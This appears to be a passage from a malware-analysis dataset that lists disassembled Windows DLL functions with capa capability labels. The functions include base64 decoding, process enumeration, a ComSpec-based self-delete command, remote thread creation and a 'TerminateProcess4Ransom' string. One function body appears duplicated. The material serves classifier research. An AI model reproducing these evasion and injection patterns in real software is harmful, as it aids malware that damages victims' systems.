joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a470
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
jmp 0x1000a4a3
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
test eax, eax
je 0x1000a5a9
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
mov eax, dword [edx*4 + 0x10067060]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x1000a5a4
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 3
ja case.default.0x1000a4de
mov edx, dword [ebp - 0x1c]
jmp dword [edx*4 + 0x1000a5bc]
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp case.default.0x1000a4de
mov ecx, dword [ebp - 0x18]
shl ecx, 2
mov edx, dword [ebp - 0x14]
and edx, 0x30
sar edx, 4
or ecx, edx
mov byte [ebp - 0xd], cl
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jge 0x1000a523
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
mov dl, byte [ebp - 0xd]
mov byte [ecx], dl
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
jmp case.default.0x1000a4de
mov edx, dword [ebp - 0x18]
and edx, 0xf
shl edx, 4
mov eax, dword [ebp - 0x14]
and eax, 0x3c
sar eax, 2
or edx, eax
mov byte [ebp - 0xd], dl
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jge 0x1000a561
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp case.default.0x1000a4de
mov eax, dword [ebp - 0x18]
and eax, 3
shl eax, 6
or eax, dword [ebp - 0x14]
mov byte [ebp - 0xd], al
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jge 0x1000a597
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
jmp 0x1000a49a
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
mov byte [eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x1000a4e5
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
jmp 0x1000a4a3
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
test eax, eax
je 0x1000a5a9
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
mov eax, dword [edx*4 + 0x10067060]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x1000a5a4
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 3
ja case.default.0x1000a4de
mov edx, dword [ebp - 0x1c]
jmp dword [edx*4 + 0x1000a5bc]
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp case.default.0x1000a4de
mov ecx, dword [ebp - 0x18]
shl ecx, 2
mov edx, dword [ebp - 0x14]
and edx, 0x30
sar edx, 4
or ecx, edx
mov byte [ebp - 0xd], cl
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jge 0x1000a523
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
mov dl, byte [ebp - 0xd]
mov byte [ecx], dl
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
jmp case.default.0x1000a4de
mov edx, dword [ebp - 0x18]
and edx, 0xf
shl edx, 4
mov eax, dword [ebp - 0x14]
and eax, 0x3c
sar eax, 2
or edx, eax
mov byte [ebp - 0xd], dl
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jge 0x1000a561
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp case.default.0x1000a4de
mov eax, dword [ebp - 0x18]
and eax, 3
shl eax, 6
or eax, dword [ebp - 0x14]
mov byte [ebp - 0xd], al
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jge 0x1000a597
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
jmp 0x1000a49a
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
mov byte [eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10010d20
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 0x24], eax
push 0
mov eax, dword [ebp + 8]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10010dd9
mov byte [ebp - 0x228], 0
push 0x1ff
push 0
lea ecx, [ebp - 0x227]
push ecx
call fcn.1003e4c0
add esp, 0xc
lea edx, [ebp - 0x228]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.1003b450
add esp, 8
push 0x2e
lea ecx, [ebp - 0x228]
push ecx
call fcn.10003a50
add esp, 8
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
je 0x10010dd2
mov edx, dword [ebp - 0x22c]
mov byte [edx], 0
mov eax, dword [ebp + 0x10]
push eax
call fcn.1003e420
add esp, 4
cmp dword [ebp + 0x14], eax
jae 0x10010dc8
lea ecx, [ebp - 0x228]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call fcn.10008420
add esp, 8
mov eax, 1
jmp 0x10010f02
xor eax, eax
jmp 0x10010f02
mov eax, dword [ebp - 0xc]
push eax
call fcn.100400cc
add esp, 4
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 0x1c]
push eax
call fcn.100083a0
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10010e41
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x438], ecx
mov edx, dword [ebp - 0x438]
push edx
call fcn.10040262
add esp, 4
xor eax, eax
jmp 0x10010f02
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push 0x100595f0
mov edx, dword [ebp - 0x1c]
push edx
call sub.VERSION.dll_VerQueryValueA
mov dword [ebp - 4], eax
cmp dword [ebp - 0x18], 0
je 0x10010ebe
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x20]
movzx edx, word [ecx + 2]
push edx
mov eax, dword [ebp - 0x20]
movzx ecx, word [eax]
push ecx
push str.StringFileInfo_04x_04x_s
lea edx, [ebp - 0x430]
push edx
call fcn.1003e91e
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x430]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call sub.VERSION.dll_VerQueryValueA
mov dword [ebp - 4], eax
cmp dword [ebp - 0x14], 0
je 0x10010ee5
mov ecx, dword [ebp + 0x14]
sub ecx, 1
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.10008480
add esp, 0xc
mov ecx, dword [ebp + 0x10]
add ecx, dword [ebp + 0x14]
mov byte [ecx - 1], 0
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x43c]
push eax
call fcn.10040262
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.1003e4ab
mov esp, ebp
pop ebp
ret
Function at 0x10014f20
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.1003e9a0
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x10014f44
xor eax, eax
jmp 0x1001509d
cmp dword [ebp + 0x10], 0xffffffff
jne 0x10014f51
xor eax, eax
jmp 0x1001509d
cmp dword [ebp + 8], 0
jne 0x10014f5e
xor eax, eax
jmp 0x1001509d
cmp dword [ebp + 0xc], 0
jne 0x10014f6b
xor eax, eax
jmp 0x1001509d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10014f7c
xor eax, eax
jmp 0x1001509d
mov edx, dword [ebp + 0xc]
movsx eax, byte [edx]
test eax, eax
jne 0x10014f8d
xor eax, eax
jmp 0x1001509d
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1003e420
add esp, 4
cmp eax, 0x1f6
jbe 0x10014fa7
xor eax, eax
jmp 0x1001509d
cmp dword [0x10121390], 0
je 0x10014fe4
mov edx, dword [ebp + 0x14]
and edx, 0x40000000
je 0x10014fe4
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
push ecx
call sym.TC_AD.DLL_isUSB
add esp, 4
movzx edx, al
test edx, edx
jne 0x10014fdc
mov eax, dword [ebp + 0xc]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x10014fe4
or eax, 0xffffffff
jmp 0x1001509d
mov dword [ebp - 4], 0
mov byte [ebp - 0x1010], 0
push 0xfff
push 0
lea edx, [ebp - 0x100f]
push edx
call fcn.1003e4c0
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
push 0x1000
lea ecx, [ebp - 0x1010]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call dword [0x1017fb64]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10015031
xor eax, eax
jmp 0x1001509d
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
call dword [0x1017fb60]
cmp dword [ebp - 4], 0
jg 0x1001504b
xor eax, eax
jmp 0x1001509d
push 0
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0x1000
jle 0x1001506f
mov dword [ebp - 0x1014], 0x1000
jmp 0x10015078
mov edx, dword [ebp - 4]
mov dword [ebp - 0x1014], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1014]
push ecx
lea edx, [ebp - 0x1010]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, 0x101496e8
call fcn.1002d360
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003e4ab
mov esp, ebp
pop ebp
ret
Function at 0x10015230
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0xffffffff
jne 0x10015250
mov al, 1
jmp 0x100153e1
cmp dword [ebp + 8], 0
jne 0x1001525d
mov al, 1
jmp 0x100153e1
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x1001526e
mov al, 1
jmp 0x100153e1
mov edx, dword [ebp + 8]
push edx
call fcn.1003e420
add esp, 4
cmp eax, 4
jb 0x10015292
mov eax, dword [ebp + 8]
push eax
call fcn.1003e420
add esp, 4
cmp eax, 0x200
jb 0x10015299
mov al, 1
jmp 0x100153e1
mov byte [ebp - 0x208], 0
push 0x1ff
push 0
lea ecx, [ebp - 0x207]
push ecx
call fcn.1003e4c0
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
call fcn.1003e420
add esp, 4
cmp eax, 0x200
jae 0x100152dc
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.10008420
add esp, 8
movsx edx, byte [ebp - 0x208]
test edx, edx
je 0x100152f6
lea eax, [ebp - 0x208]
push eax
call fcn.1003e8b9
add esp, 4
push 0x1005a5b0
lea ecx, [ebp - 0x208]
push ecx
call fcn.10008370
add esp, 8
test eax, eax
je 0x10015315
mov al, 1
jmp 0x100153e1
push 0x1005a5b4
lea edx, [ebp - 0x208]
push edx
call fcn.10008370
add esp, 8
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x1001534e
mov eax, dword [ebp - 0x20c]
movsx ecx, byte [eax + 4]
cmp ecx, 0x3a
je 0x1001534e
mov al, 1
jmp 0x100153e1
lea edx, [ebp - 0x208]
push edx
call fcn.100150b0
add esp, 4
movzx eax, al
test eax, eax
je 0x10015368
mov al, 1
jmp 0x100153e1
cmp dword [0x10121390], 0
je 0x100153ad
push str.OUTLOOK_
lea ecx, [ebp - 0x208]
push ecx
call fcn.10008370
add esp, 8
test eax, eax
je 0x1001538d
mov al, 1
jmp 0x100153e1
push str..DAT
lea edx, [ebp - 0x208]
push edx
call fcn.10008370
add esp, 8
test eax, eax
je 0x100153a9
mov al, 1
jmp 0x100153e1
xor al, al
jmp 0x100153e1
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x210], eax
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call dword [0x1017fb60]
cmp dword [ebp - 0x210], 0x200
jge 0x100153df
mov al, 1
jmp 0x100153e1
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e4ab
mov esp, ebp
pop ebp
ret
Function at 0x10016d20
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
mov eax, dword [0x1011cc30]
add eax, 1
xor edx, edx
mov ecx, 0x20
div ecx
mov dword [0x1011cc30], edx
push 0x208
mov edx, dword [0x1011cc30]
imul edx, edx, 0x208
add edx, 0x100c6138
push edx
call fcn.100083d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x1011cc30]
imul ecx, ecx, 0x208
add ecx, 0x100c6138
push ecx
call fcn.10008420
add esp, 8
mov edx, dword [0x1011cc30]
imul edx, edx, 0x208
mov eax, dword [ebp - 4]
mov dword [edx + 0x100c633c], eax
mov ecx, dword [0x1011cc30]
imul ecx, ecx, 0x208
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x100c6338], edx
mov esp, ebp
pop ebp
ret

Function at 0x10018730
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 8], 0
jne 0x10018750
xor eax, eax
jmp 0x100188de
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10018761
xor eax, eax
jmp 0x100188de
push str._USB
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10018783
mov eax, 0x10
jmp 0x100188de
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x1001879d
mov eax, 0x20
jmp 0x100188de
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x100187b5
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x100187b5
jmp 0x100187d4
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x61
jl 0x100187cd
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x7a
jg 0x100187cd
jmp 0x100187d4
xor eax, eax
jmp 0x100188de
mov byte [ebp - 0x10], 0
xor ecx, ecx
mov dword [ebp - 0xf], ecx
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
push eax
push 0x1005ad74
lea ecx, [ebp - 0x10]
push ecx
call fcn.1003e91e
add esp, 0xc
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x21c]
sub ecx, 1
mov dword [ebp - 0x21c], ecx
cmp dword [ebp - 0x21c], 4
ja case.0x1001882d.2
mov edx, dword [ebp - 0x21c]
jmp dword [edx*4 + 0x100188ec]
cmp dword [0x1011eafc], 0
je 0x100188c5
mov byte [ebp - 0x210], 0
push 0x1ff
push 0
lea eax, [ebp - 0x20f]
push eax
call fcn.1003e4c0
add esp, 0xc
mov dword [ebp - 0x214], 0x200
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
push edx
push 0x1005ad7c
lea eax, [ebp - 0x10]
push eax
call fcn.1003e91e
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x10]
push eax
call sub.MPR.dll_WNetGetConnectionA
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
je 0x100188be
cmp dword [ebp - 0x218], 0x8ca
je 0x100188be
cmp dword [ebp - 0x218], 0x4b1
jne 0x100188c5
mov eax, 0x40
jmp 0x100188de
jmp case.0x1001882d.2
mov eax, 0x10
jmp 0x100188de
mov eax, 0x40
jmp 0x100188de
mov eax, 0x80
jmp 0x100188de
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1003e4ab
mov esp, ebp
pop ebp
ret
Function at 0x100189e0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
jne 0x100189f1
jmp 0x10018aab
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10018a00
jmp 0x10018aab
cmp dword [ebp + 0xc], 0
jne 0x10018a0b
jmp 0x10018aab
mov edx, dword [ebp + 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x10018a25
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x10018a39
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10018a9b
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
cmp dword [edx], 0
je 0x10018a9b
push 4
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
push edx
lea eax, [ebp - 4]
push eax
call fcn.100083f0
add esp, 0xc
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10018a93
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.10008420
add esp, 8
jmp 0x10018a99
mov ecx, dword [ebp + 0xc]
mov byte [ecx], 0
jmp 0x10018aab
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.10008420
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x10019630
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push 0x1011f118
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push str.TerminateProcess4Ransom__d___s_
push 0
call fcn.1003b7a0
add esp, 0x10
push 1
mov eax, dword [0x1011c7bc]
push eax
call dword [0x10176c60]
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0x10019540
push 0
push 0
call fcn.1004036e
add esp, 0x18
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esp, ebp
pop ebp
ret
Function at 0x100247b0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov byte [ebp - 1], 0
mov byte [ebp - 0x429], 0
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x428], 1
mov dword [ebp - 0x10], 0
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
and edx, 0xff
shl edx, 8
mov eax, dword [ebp - 8]
shr eax, 8
and eax, 0xff
or edx, eax
shl edx, 0x10
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x428], 0
jbe 0x10024909
mov dword [ebp - 0x428], 0
push 0x400
push 0
lea ecx, [ebp - 0x420]
push ecx
call fcn.1003e4c0
add esp, 0xc
push 0
lea edx, [ebp - 0x428]
push edx
push 0x400
lea eax, [ebp - 0x420]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x428]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x18], 0
jne 0x10024899
jmp 0x10024909
mov dword [ebp - 0x430], 0
jmp 0x100248b4
mov eax, dword [ebp - 0x430]
add eax, 1
mov dword [ebp - 0x430], eax
mov ecx, dword [ebp - 0x430]
cmp ecx, dword [ebp - 0x428]
jae 0x10024904
cmp dword [ebp - 0x430], 0x400
jge 0x10024904
mov edx, dword [ebp - 0x430]
movzx eax, byte [ebp + edx - 0x420]
movzx ecx, byte [ebp - 1]
add ecx, eax
mov byte [ebp - 1], cl
mov edx, dword [ebp - 0x430]
movzx eax, byte [ebp + edx - 0x420]
movzx ecx, byte [ebp - 0x429]
sub ecx, eax
mov byte [ebp - 0x429], cl
jmp 0x100248a5
jmp 0x10024836
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 1]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
shl ecx, 8
mov dword [ebp - 0xc], ecx
movzx edx, byte [ebp - 0x429]
or edx, dword [ebp - 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x424]
or eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1003e4ab
mov esp, ebp
pop ebp
ret
Function at 0x1002a540
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x200
push 0
lea eax, [ebp - 0x408]
push eax
call fcn.1003e4c0
add esp, 0xc
push 0x200
push 0
lea ecx, [ebp - 0x208]
push ecx
call fcn.1003e4c0
add esp, 0xc
push 0x200
lea edx, [ebp - 0x408]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1002a633
push 0x200
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1002a633
push str._c_del
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.____NUL
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x200
lea eax, [ebp - 0x408]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1002a633
push 0
push 0
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x408]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x1002a633
mov eax, 1
jmp 0x1002a635
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e4ab
mov esp, ebp
pop ebp
ret
Function at 0x1002fe60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
push 0x124
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.1003e4c0
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x1002fec6
xor eax, eax
jmp 0x1002ffaf
mov dword [ebp - 0x130], 0x128
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002ff8b
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp + 8]
jne 0x1002ff51
mov ecx, dword [ebp - 0x128]
push ecx
push 0
push 0x43a
call dword [0x101496b8]
mov dword [ebp - 0x140], eax
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.10008420
add esp, 8
mov dword [ebp - 0x138], 1
cmp dword [ebp - 0x140], 0
jne 0x1002ff42
jmp 0x1002ff6e
mov ecx, dword [ebp - 0x140]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1002ff89
cmp dword [ebp - 0x13c], 0x3e8
jle 0x1002ff5f
jmp 0x1002ff89
mov edx, dword [ebp - 0x13c]
add edx, 1
mov dword [ebp - 0x13c], edx
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002fef5
jmp 0x1002ff9c
mov dword [ebp + 0xc], 0
mov dword [ebp - 0x138], 0
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e4ab
mov esp, ebp
pop ebp
ret
Function at 0x1002ffc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 8], 0
jne 0x1002ffd4
or eax, 0xffffffff
jmp 0x1003009c
push 0x1005e70c
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1002fffc
or eax, 0xffffffff
jmp 0x1003009c
push 0
push 0
push 0x42a
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10030030
cmp dword [ebp - 0x18], 0
jne 0x10030035
or eax, 0xffffffff
jmp 0x1003009c
lea edx, [ebp - 0x10]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
jne 0x10030067
or eax, 0xffffffff
jmp 0x1003009c
push 0x7530
mov eax, dword [ebp - 0xc]
